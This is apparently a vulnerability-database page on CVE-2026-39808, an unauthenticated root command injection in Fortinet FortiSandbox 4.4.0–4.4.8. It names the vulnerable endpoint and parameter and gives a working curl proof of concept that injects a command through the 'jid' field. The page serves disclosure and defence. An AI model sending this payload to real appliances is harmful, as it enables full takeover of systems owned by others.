📄 Fortinet FortiSandbox 4.4.8 Remote Command Execution
| Reporter | Title | Published | Views | Family All 34 |
|---|---|---|---|---|
 | Exploit for CVE-2026-39808 | 18 Apr 202609:15 | – | githubexploit |
| Exploit for OS Command Injection in Fortinet Fortisandbox | 3 Oct 202615:50 | – | githubexploit |
| Exploit for OS Command Injection in Fortinet Fortisandbox | 18 Jun 202620:32 | – | githubexploit |
| Exploit for OS Command Injection in Fortinet Fortisandbox | 17 Jun 202601:42 | – | githubexploit |
| Exploit for OS Command Injection in Fortinet Fortisandbox | 25 Oct 202618:34 | – | githubexploit |
| Exploit for OS Command Injection in Fortinet Fortisandbox | 21 Apr 202622:21 | – | githubexploit |
 | FortiSandbox JRPC Code Execution | 16 Apr 202600:00 | – | bdu_fstec |
 | CVE-2026-39808 | 14 Apr 202606:20 | – | circl |
 | Fortinet FortiSandbox OS Command Injection Vulnerability | 16 Jul 202600:00 | – | cisa_kev |
 | Fortinet FortiSandbox operating system command injection vulnerability | 14 Apr 202600:00 | – | cnnvd |
10
# CVE-2026-39808
On November 2025, a critical vulnerability was discovered on Fortinet's FortiSandbox which allowed an unauthenticated attacker to execute commands in the underlying OS as root. The vulnerability was patched and finally made public on April 2026.
This vulnerability affects FortiSandbox versions 4.4.0 through 4.4.8.
Read the full advisory [here](https://www.fortiguard.com/psirt/FG-IR-26-100).
## The vulnerability
The vulnerability affects the `/fortisandbox/job-detail/tracer-behavior` endpoint. OS commands can be injected using the pipe symbol (`|`) on the `jid` GET parameter.
<img width="1919" height="747" alt="image008" src="https://github.com/user-attachments/assets/fe1a076e-e68e-4b10-a402-c888ed429d87" />
In the example above, output was redirected to a file in the web root, so that it can be retrieved afterwards.
<img width="729" height="172" alt="image" src="https://github.com/user-attachments/assets/01af5c52-8022-4c03-84bd-d879e9fcccb2" />
## PoC
A simple curl command is enough to achieve RCE as root with no previous authentication:
```sh
curl -s -k --get "http://$HOST/fortisandbox/job-detail/tracer-behavior" --data-urlencode "jid=|(id > /web/ng/out.txt)|"
```Data
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16 Apr 2026 00:00Current
9Critical risk
Vulners AI Score9
CVSS 3.19.8
EPSS0.93189
SSVC